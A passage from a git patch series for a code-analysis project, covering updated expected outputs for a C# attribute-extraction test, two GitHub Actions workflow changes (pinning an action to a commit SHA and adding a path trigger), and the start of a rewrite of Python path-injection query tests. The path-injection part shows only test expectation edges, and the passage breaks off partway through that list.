System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.ObjectComparer`1 | [NullableAttribute(...)] | 0 | [0,1] | | System.Collections.Generic.ObjectComparer`1 | [NullableContextAttribute(...)] | 0 | 2 | | System.Collections.Generic.ObjectComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Collections.Generic.ObjectEqualityComparer`1 | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.ObjectEqualityComparer`1 | [NullableAttribute(...)] | 0 | [0,1] | | System.Collections.Generic.ObjectEqualityComparer`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.Generic.ObjectEqualityComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Collections.Generic.ValueListBuilder`1 | [DefaultMemberAttribute(...)] | 0 | Item | @@ -1217,7 +1217,7 @@ attrArgPositional | System.Collections.ObjectModel.Collection`1 | [NullableAttribute(...)] | 0 | 0 | | System.Collections.ObjectModel.Collection`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.ObjectModel.Collection`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Collections.ObjectModel.ReadOnlyCollection<System.String> System.Diagnostics.Tracing.EventWrittenEventArgs.PayloadNames | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.ObjectModel.ReadOnlyCollection<System.String> System.Diagnostics.Tracing.EventWrittenEventArgs.PayloadNames | [NullableAttribute(...)] | 0 | [2,1] | | System.Collections.ObjectModel.ReadOnlyCollection`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | | System.Collections.ObjectModel.ReadOnlyCollection`1 | [DefaultMemberAttribute(...)] | 0 | Item | | System.Collections.ObjectModel.ReadOnlyCollection`1 | [NullableAttribute(...)] | 0 | 0 | @@ -1258,7 +1258,7 @@ attrArgPositional | System.Diagnostics.ConditionalAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Diagnostics.Contracts.Contract | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Contracts.Contract | [NullableContextAttribute(...)] | 0 | 1 | -| System.Diagnostics.Contracts.Contract.ContractFailed | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Diagnostics.Contracts.Contract.ContractFailed | [NullableAttribute(...)] | 0 | [2,1] | | System.Diagnostics.Contracts.ContractAbbreviatorAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | | System.Diagnostics.Contracts.ContractArgumentValidatorAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | | System.Diagnostics.Contracts.ContractClassAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | @@ -1311,13 +1311,13 @@ attrArgPositional | System.Diagnostics.Tracing.EventDataAttribute | [NullableContextAttribute(...)] | 0 | 2 | | System.Diagnostics.Tracing.EventListener | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Tracing.EventListener | [NullableContextAttribute(...)] | 0 | 1 | -| System.Diagnostics.Tracing.EventListener.EventSourceCreated | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Diagnostics.Tracing.EventListener.EventWritten | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Diagnostics.Tracing.EventListener.EventSourceCreated | [NullableAttribute(...)] | 0 | [2,1] | +| System.Diagnostics.Tracing.EventListener.EventWritten | [NullableAttribute(...)] | 0 | [2,1] | | System.Diagnostics.Tracing.EventPayload | [DefaultMemberAttribute(...)] | 0 | Item | | System.Diagnostics.Tracing.EventSource | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Tracing.EventSource | [NullableContextAttribute(...)] | 0 | 2 | | System.Diagnostics.Tracing.EventSource System.Diagnostics.Tracing.EventWrittenEventArgs.EventSource | [NullableAttribute(...)] | 0 | 1 | -| System.Diagnostics.Tracing.EventSource.EventCommandExecuted | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Diagnostics.Tracing.EventSource.EventCommandExecuted | [NullableAttribute(...)] | 0 | [2,1] | | System.Diagnostics.Tracing.EventSource.EventData | [NullableContextAttribute(...)] | 0 | 0 | | System.Diagnostics.Tracing.EventSourceAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Diagnostics.Tracing.EventSourceAttribute | [NullableContextAttribute(...)] | 0 | 2 | @@ -1359,7 +1359,7 @@ attrArgPositional | System.Exception | [NullableAttribute(...)] | 0 | 0 | | System.Exception | [NullableContextAttribute(...)] | 0 | 2 | | System.Exception | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Exception.SerializeObjectState | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Exception.SerializeObjectState | [NullableAttribute(...)] | 0 | [2,1] | | System.Exception[] System.Reflection.ReflectionTypeLoadException.LoaderExceptions | [NullableAttribute(...)] | 0 | 2 | | System.ExecutionEngineException | [NullableAttribute(...)] | 0 | 0 | | System.ExecutionEngineException | [NullableContextAttribute(...)] | 0 | 2 | @@ -1419,11 +1419,11 @@ attrArgPositional | System.Globalization.CultureTypes.WindowsOnlyCultures | [ObsoleteAttribute(...)] | 0 | This value has been deprecated. Please use other values in CultureTypes. | | System.Globalization.DateTimeFormatInfo | [NullableAttribute(...)] | 0 | 0 | | System.Globalization.DateTimeFormatInfo | [NullableContextAttribute(...)] | 0 | 1 | -| System.Globalization.EraInfo[] System.Globalization.ChineseLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Globalization.EraInfo[] System.Globalization.EastAsianLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Globalization.EraInfo[] System.Globalization.JapaneseLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Globalization.EraInfo[] System.Globalization.KoreanLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Globalization.EraInfo[] System.Globalization.TaiwanLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Globalization.EraInfo[] System.Globalization.ChineseLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | [2,1] | +| System.Globalization.EraInfo[] System.Globalization.EastAsianLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | [2,1] | +| System.Globalization.EraInfo[] System.Globalization.JapaneseLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | [2,1] | +| System.Globalization.EraInfo[] System.Globalization.KoreanLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | [2,1] | +| System.Globalization.EraInfo[] System.Globalization.TaiwanLunisolarCalendar.CalEraInfo | [NullableAttribute(...)] | 0 | [2,1] | | System.Globalization.GregorianCalendar | [NullableAttribute(...)] | 0 | 0 | | System.Globalization.GregorianCalendar | [NullableContextAttribute(...)] | 0 | 1 | | System.Globalization.HebrewCalendar | [NullableAttribute(...)] | 0 | 0 | @@ -1513,9 +1513,9 @@ attrArgPositional | System.IO.IOException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.IO.MemoryStream | [NullableAttribute(...)] | 0 | 0 | | System.IO.MemoryStream | [NullableContextAttribute(...)] | 0 | 1 | -| System.IO.Path.<>c.<>9__37_0 | [TupleElementNamesAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.IO.Path.<>c.<>9__38_0 | [TupleElementNamesAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.IO.Path.<>c.<>9__39_0 | [TupleElementNamesAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.IO.Path.<>c.<>9__37_0 | [TupleElementNamesAttribute(...)] | 0 | [First,FirstLength,Second,SecondLength,HasSeparator] | +| System.IO.Path.<>c.<>9__38_0 | [TupleElementNamesAttribute(...)] | 0 | [First,FirstLength,Second,SecondLength,Third,ThirdLength,FirstHasSeparator,ThirdHasSeparator,null] | +| System.IO.Path.<>c.<>9__39_0 | [TupleElementNamesAttribute(...)] | 0 | [First,FirstLength,Second,SecondLength,Third,ThirdLength,Fourth,FourthLength,FirstHasSeparator,ThirdHasSeparator,FourthHasSeparator,null,null,null,null] | | System.IO.Path.InvalidPathChars | [NullableAttribute(...)] | 0 | 1 | | System.IO.Path.InvalidPathChars | [ObsoleteAttribute(...)] | 0 | Please use GetInvalidPathChars or GetInvalidFileNameChars instead. | | System.IO.PathTooLongException | [NullableAttribute(...)] | 0 | 0 | @@ -1561,7 +1561,7 @@ attrArgPositional | System.Lazy`1 | [DebuggerDisplayAttribute(...)] | 0 | ThreadSafetyMode={Mode}, IsValueCreated={IsValueCreated}, IsValueFaulted={IsValueFaulted}, Value={ValueForDebugDisplay} | | System.Lazy`1 | [NullableAttribute(...)] | 0 | 0 | | System.Lazy`1 | [NullableContextAttribute(...)] | 0 | 1 | -| System.Lazy`2 | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Lazy`2 | [NullableAttribute(...)] | 0 | [0,1] | | System.Lazy`2 | [NullableContextAttribute(...)] | 0 | 1 | | System.MarshalByRefObject | [ComVisibleAttribute(...)] | 0 | True | | System.MarshalByRefObject | [NullableAttribute(...)] | 0 | 0 | @@ -1569,9 +1569,9 @@ attrArgPositional | System.MemberAccessException | [NullableAttribute(...)] | 0 | 0 | | System.MemberAccessException | [NullableContextAttribute(...)] | 0 | 2 | | System.MemberAccessException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Memory<!0> System.Buffers.IMemoryOwner`1.Memory | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Memory<!0> System.Buffers.MemoryManager`1.Memory | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Memory<!0> System.Memory`1.Empty | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Memory<!0> System.Buffers.IMemoryOwner`1.Memory | [NullableAttribute(...)] | 0 | [0,1] | +| System.Memory<!0> System.Buffers.MemoryManager`1.Memory | [NullableAttribute(...)] | 0 | [0,1] | +| System.Memory<!0> System.Memory`1.Empty | [NullableAttribute(...)] | 0 | [0,1] | | System.Memory`1 | [DebuggerDisplayAttribute(...)] | 0 | {ToString(),raw} | | System.Memory`1 | [NullableAttribute(...)] | 0 | 0 | | System.Memory`1 | [NullableContextAttribute(...)] | 0 | 1 | @@ -1640,16 +1640,16 @@ attrArgPositional | System.PlatformNotSupportedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Progress`1 | [NullableAttribute(...)] | 0 | 0 | | System.Progress`1 | [NullableContextAttribute(...)] | 0 | 1 | -| System.Progress`1.ProgressChanged | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Progress`1.ProgressChanged | [NullableAttribute(...)] | 0 | [2,1] | | System.RankException | [NullableAttribute(...)] | 0 | 0 | | System.RankException | [NullableContextAttribute(...)] | 0 | 2 | | System.RankException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.ReadOnlyMemory<!0> System.ReadOnlyMemory`1.Empty | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.ReadOnlyMemory<!0> System.ReadOnlyMemory`1.Empty | [NullableAttribute(...)] | 0 | [0,1] | | System.ReadOnlyMemory`1 | [DebuggerDisplayAttribute(...)] | 0 | {ToString(),raw} | | System.ReadOnlyMemory`1 | [NullableAttribute(...)] | 0 | 0 | | System.ReadOnlyMemory`1 | [NullableContextAttribute(...)] | 0 | 1 | -| System.ReadOnlySpan<!0> System.ReadOnlyMemory`1.Span | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.ReadOnlySpan<!0> System.ReadOnlySpan`1.Empty | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.ReadOnlySpan<!0> System.ReadOnlyMemory`1.Span | [NullableAttribute(...)] | 0 | [0,1] | +| System.ReadOnlySpan<!0> System.ReadOnlySpan`1.Empty | [NullableAttribute(...)] | 0 | [0,1] | | System.ReadOnlySpan<System.Byte> System.Text.Encoding.Preamble | [NullableAttribute(...)] | 0 | 0 | | System.ReadOnlySpan<System.Byte> System.Text.UTF32Encoding.Preamble | [NullableAttribute(...)] | 0 | 0 | | System.ReadOnlySpan<System.Byte> System.Text.UnicodeEncoding.Preamble | [NullableAttribute(...)] | 0 | 0 | @@ -1878,7 +1878,7 @@ attrArgPositional | System.Runtime.CompilerServices.ConditionalWeakTable`2.CreateValueCallback | [NullableContextAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.ContractHelper | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.ContractHelper | [NullableContextAttribute(...)] | 0 | 2 | -| System.Runtime.CompilerServices.ContractHelper.InternalContractFailed | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Runtime.CompilerServices.ContractHelper.InternalContractFailed | [NullableAttribute(...)] | 0 | [2,1] | | System.Runtime.CompilerServices.CustomConstantAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.CustomConstantAttribute | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.CompilerServices.DateTimeConstantAttribute | [NullableAttribute(...)] | 0 | 0 | @@ -2063,14 +2063,14 @@ attrArgPositional | System.Runtime.Loader.AssemblyLoadContext.AssemblyLoad | [NullableAttribute(...)] | 0 | 2 | | System.Runtime.Loader.AssemblyLoadContext.AssemblyResolve | [NullableAttribute(...)] | 0 | 2 | | System.Runtime.Loader.AssemblyLoadContext.ContextualReflectionScope | [NullableContextAttribute(...)] | 0 | 0 | -| System.Runtime.Loader.AssemblyLoadContext.Resolving | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Runtime.Loader.AssemblyLoadContext.ResolvingUnmanagedDll | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Runtime.Loader.AssemblyLoadContext.Resolving | [NullableAttribute(...)] | 0 | [2,1,1,2] | +| System.Runtime.Loader.AssemblyLoadContext.ResolvingUnmanagedDll | [NullableAttribute(...)] | 0 | [2,1,1] | | System.Runtime.Loader.AssemblyLoadContext.ResourceResolve | [NullableAttribute(...)] | 0 | 2 | | System.Runtime.Loader.AssemblyLoadContext.TypeResolve | [NullableAttribute(...)] | 0 | 2 | -| System.Runtime.Loader.AssemblyLoadContext.Unloading | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Runtime.Loader.AssemblyLoadContext._resolving | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Runtime.Loader.AssemblyLoadContext._resolvingUnmanagedDll | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Runtime.Loader.AssemblyLoadContext._unloading | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Runtime.Loader.AssemblyLoadContext.Unloading | [NullableAttribute(...)] | 0 | [2,1] | +| System.Runtime.Loader.AssemblyLoadContext._resolving | [NullableAttribute(...)] | 0 | [2,1,1,1] | +| System.Runtime.Loader.AssemblyLoadContext._resolvingUnmanagedDll | [NullableAttribute(...)] | 0 | [2,1,1] | +| System.Runtime.Loader.AssemblyLoadContext._unloading | [NullableAttribute(...)] | 0 | [2,1] | | System.Runtime.Remoting.ObjectHandle | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.Remoting.ObjectHandle | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.Serialization.IDeserializationCallback | [NullableContextAttribute(...)] | 0 | 2 | @@ -2119,8 +2119,8 @@ attrArgPositional | System.Security.VerificationException | [NullableAttribute(...)] | 0 | 0 | | System.Security.VerificationException | [NullableContextAttribute(...)] | 0 | 2 | | System.Security.VerificationException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Span<!0> System.Memory`1.Span | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Span<!0> System.Span`1.Empty | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Span<!0> System.Memory`1.Span | [NullableAttribute(...)] | 0 | [0,1] | +| System.Span<!0> System.Span`1.Empty | [NullableAttribute(...)] | 0 | [0,1] | | System.Span<System.Char> System.Text.StringBuilder.RemainingCurrentChunk | [NullableAttribute(...)] | 0 | 0 | | System.Span`1 | [DebuggerDisplayAttribute(...)] | 0 | {ToString(),raw} | | System.Span`1 | [DefaultMemberAttribute(...)] | 0 | Item | @@ -2232,7 +2232,7 @@ attrArgPositional | System.Threading.SynchronizationContext | [NullableAttribute(...)] | 0 | 0 | | System.Threading.SynchronizationContext | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.SynchronizationContext System.Threading.SynchronizationContext.Current | [NullableAttribute(...)] | 0 | 2 | -| System.Threading.SynchronizationContext.<>c.<>9__8_0 | [TupleElementNamesAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Threading.SynchronizationContext.<>c.<>9__8_0 | [TupleElementNamesAttribute(...)] | 0 | [d,state] | | System.Threading.SynchronizationLockException | [NullableAttribute(...)] | 0 | 0 | | System.Threading.SynchronizationLockException | [NullableContextAttribute(...)] | 0 | 2 | | System.Threading.SynchronizationLockException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | @@ -2271,7 +2271,7 @@ attrArgPositional | System.Threading.Tasks.TaskScheduler System.Threading.Tasks.TaskFactory.Scheduler | [NullableAttribute(...)] | 0 | 2 | | System.Threading.Tasks.TaskScheduler System.Threading.Tasks.TaskFactory`1.Scheduler | [NullableAttribute(...)] | 0 | 2 | | System.Threading.Tasks.TaskScheduler System.Threading.Tasks.TaskScheduler.InternalCurrent | [NullableAttribute(...)] | 0 | 2 | -| System.Threading.Tasks.TaskScheduler.UnobservedTaskException | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Threading.Tasks.TaskScheduler.UnobservedTaskException | [NullableAttribute(...)] | 0 | [2,1] | | System.Threading.Tasks.TaskSchedulerException | [NullableAttribute(...)] | 0 | 0 | | System.Threading.Tasks.TaskSchedulerException | [NullableContextAttribute(...)] | 0 | 2 | | System.Threading.Tasks.TaskSchedulerException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | @@ -2282,7 +2282,7 @@ attrArgPositional | System.Threading.Tasks.UnobservedTaskExceptionEventArgs | [NullableContextAttribute(...)] | 0 | 2 | | System.Threading.Tasks.ValueTask | [NullableAttribute(...)] | 0 | 0 | | System.Threading.Tasks.ValueTask | [NullableContextAttribute(...)] | 0 | 1 | -| System.Threading.Tasks.ValueTask<!0> System.Runtime.CompilerServices.AsyncValueTaskMethodBuilder`1.Task | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Threading.Tasks.ValueTask<!0> System.Runtime.CompilerServices.AsyncValueTaskMethodBuilder`1.Task | [NullableAttribute(...)] | 0 | [0,1] | | System.Threading.Tasks.ValueTask`1 | [NullableAttribute(...)] | 0 | 0 | | System.Threading.Tasks.ValueTask`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.Thread | [NullableAttribute(...)] | 0 | 0 | @@ -2293,7 +2293,7 @@ attrArgPositional | System.Threading.ThreadInterruptedException | [NullableAttribute(...)] | 0 | 0 | | System.Threading.ThreadInterruptedException | [NullableContextAttribute(...)] | 0 | 2 | | System.Threading.ThreadInterruptedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Threading.ThreadLocal<System.Object> System.LocalDataStoreSlot.Data | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Threading.ThreadLocal<System.Object> System.LocalDataStoreSlot.Data | [NullableAttribute(...)] | 0 | [1,2] | | System.Threading.ThreadLocal`1 | [DebuggerDisplayAttribute(...)] | 0 | IsValueCreated={IsValueCreated}, Value={ValueForDebugDisplay}, Count={ValuesCountForDebugDisplay} | | System.Threading.ThreadLocal`1 | [NullableAttribute(...)] | 0 | 0 | | System.Threading.ThreadLocal`1 | [NullableContextAttribute(...)] | 0 | 1 | @@ -2394,7 +2394,7 @@ attrArgPositional | System.TypeUnloadedException | [NullableAttribute(...)] | 0 | 0 | | System.TypeUnloadedException | [NullableContextAttribute(...)] | 0 | 2 | | System.TypeUnloadedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Type[] System.Reflection.ReflectionTypeLoadException.Types | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Type[] System.Reflection.ReflectionTypeLoadException.Types | [NullableAttribute(...)] | 0 | [2,1] | | System.TypedReference | [CLSCompliantAttribute(...)] | 0 | False | | System.TypedReference | [NullableAttribute(...)] | 0 | 0 | | System.TypedReference | [NullableContextAttribute(...)] | 0 | 1 | From 38ab87e5b1eb953d1808285cf70f47a2c3e51b91 Mon Sep 17 00:00:00 2001 From: Aditya Sharad <6874315+adityasharad@users.noreply.github.com> Date: Wed, 2 Dec 2020 09:56:25 -0800 Subject: [PATCH 0122/1241] Actions: Pin to fixed version of Sphinx Action Better for security to fix the commit SHA of the external Action, rather than specifying a branch or tag. --- .github/workflows/generate-query-help-docs.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index c66a607e427..f9f1b3610ea 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -43,7 +43,7 @@ jobs: run: | PATH="$PATH:codeql-cli/codeql" python codeql/docs/codeql/query-help-markdown.py - name: Run Sphinx for query help - uses: ammaraskar/sphinx-action@master + uses: ammaraskar/sphinx-action@8b4f60114d7fd1faeba1a712269168508d4750d2 # v0.4 with: docs-folder: "query-help/" pre-build-command: "python -m pip install --upgrade recommonmark" From 771425e8605a73ded9e07a416cbf2b0ba8f89595 Mon Sep 17 00:00:00 2001 From: Aditya Sharad <6874315+adityasharad@users.noreply.github.com> Date: Wed, 2 Dec 2020 10:00:55 -0800 Subject: [PATCH 0123/1241] Actions: Run query help workflow on PRs that modify it --- .github/workflows/generate-query-help-docs.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index f9f1b3610ea..74cb4c6a9e6 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -8,6 +8,7 @@ on: - 'lgtm.com' pull_request: paths: + - '.github/workflows/generate-query-help-docs.yml' - 'docs/codeql/query-help/**' jobs: From 4d9f24a24c8f2bc41eb365ba75afb65e2b39f3f2 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 3 Dec 2020 11:07:04 +0100 Subject: [PATCH 0124/1241] Python: Rewrite path injection tests To match how you would normally structure your application code. In itself not that important, but makes it easier to add more tests :) --- .../PathInjection.expected | 38 +++++++++---------- .../CWE-022-PathInjection/path_injection.py | 38 ++++++++++--------- 2 files changed, 40 insertions(+), 36 deletions(-) diff --git a/python/ql/test/query-tests/Security/CWE-022-PathInjection/PathInjection.expected b/python/ql/test/query-tests/Security/CWE-022-PathInjection/PathInjection.expected index 811d7f20109..02ba96b139f 100644 --- a/python/ql/test/query-tests/Security/CWE-022-PathInjection/PathInjection.expected +++ b/python/ql/test/query-tests/Security/CWE-022-PathInjection/PathInjection.expected @@ -1,10 +1,10 @@ edges -| path_injection.py:9:12:9:23 | ControlFlowNode for Attribute | path_injection.py:10:14:10:44 | ControlFlowNode for Attribute() | -| path_injection.py:15:12:15:23 | ControlFlowNode for Attribute | path_injection.py:16:13:16:61 | ControlFlowNode for Attribute() | -| path_injection.py:16:13:16:61 | ControlFlowNode for Attribute() | path_injection.py:17:14:17:18 | ControlFlowNode for npath | -| path_injection.py:24:12:24:23 | ControlFlowNode for Attribute | path_injection.py:25:13:25:61 | ControlFlowNode for Attribute() | -| path_injection.py:25:13:25:61 | ControlFlowNode for Attribute() | path_injection.py:28:14:28:18 | ControlFlowNode for npath | -| path_injection.py:33:12:33:23 | ControlFlowNode for Attribute | path_injection.py:34:13:34:61 | ControlFlowNode for Attribute() | +| path_injection.py:12:16:12:27 | ControlFlowNode for Attribute | path_injection.py:13:14:13:47 | ControlFlowNode for Attribute() | +| path_injection.py:19:16:19:27 | ControlFlowNode for Attribute | path_injection.py:20:13:20:64 | ControlFlowNode for Attribute() | +| path_injection.py:20:13:20:64 | ControlFlowNode for Attribute() | path_injection.py:21:14:21:18 